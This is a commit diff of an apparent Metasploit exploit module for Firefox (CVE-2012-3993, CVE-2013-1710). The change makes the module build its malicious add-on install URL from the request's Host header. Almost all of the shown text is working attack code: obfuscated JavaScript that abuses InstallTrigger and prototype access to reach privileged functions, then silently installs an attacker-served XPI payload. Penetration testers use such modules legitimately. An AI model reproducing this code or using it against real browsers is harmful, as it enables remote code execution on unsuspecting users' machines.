@@ -45,10 +45,8 @@ def initialize(info = {})
45
45
'DisclosureDate' => "Aug 6 2013" ,
46
46
'References' => [
47
47
[ 'CVE' , '2012-3993' ] , # used to install function that gets called from chrome:// (ff<15)
48
- [ 'OSVDB' , '86111' ] ,
49
48
[ 'URL' , 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101' ] ,
50
49
[ 'CVE' , '2013-1710' ] , # used to peek into privileged caller's closure (ff<23)
51
- [ 'OSVDB' , '96019' ]
52
50
] ,
53
51
'BrowserRequirements' => {
54
52
:source => 'script' ,
@@ -68,17 +66,26 @@ def on_request_exploit(cli, request, target_info)
68
66
send_response ( cli , generate_addon_xpi ( cli ) . pack , { 'Content-Type' => 'application/x-xpinstall' } )
69
67
else
70
68
print_status ( "Sending HTML" )
71
- send_response_html ( cli , generate_html ( target_info ) )
69
+ res = generate_html ( target_info , request . headers [ 'Host' ] )
70
+ vprint_status res . to_s
71
+ send_response_html ( cli , res )
72
72
end
73
73
end
74
74
75
- def generate_html ( target_info )
75
+ def generate_html ( target_info , refer )
76
76
injection = if target_info [ :ua_ver ] . to_i == 15
77
77
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
78
78
else
79
79
"p2.constructor.defineProperty(obj,key,{get:runme});"
80
80
end
81
81
82
+ if refer . nil? or refer . blank?
83
+ redirect = "#{ get_module_uri } /addon.xpi"
84
+ else
85
+ proto = ( ( datastore [ 'SSL' ] ) ? 'https' : 'http' )
86
+ redirect = "#{ proto } ://#{ refer } #{ get_module_resource } addon.xpi"
87
+ end
88
+
82
89
script = js_obfuscate %Q|
83
90
try{InstallTrigger.install(0)}catch(e){p=e;};
84
91
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
@@ -107,7 +114,7 @@ def generate_html(target_info)
107
114
js_payload = js_obfuscate %Q|
108
115
if (!window.done) {
109
116
window.AddonManager.getInstallForURL(
110
- '#{ get_module_uri } /addon.xpi ',
117
+ '#{ redirect } ',
111
118
function(install) { install.install() },
112
119
'application/x-xpinstall'
113
120
);
0 commit comments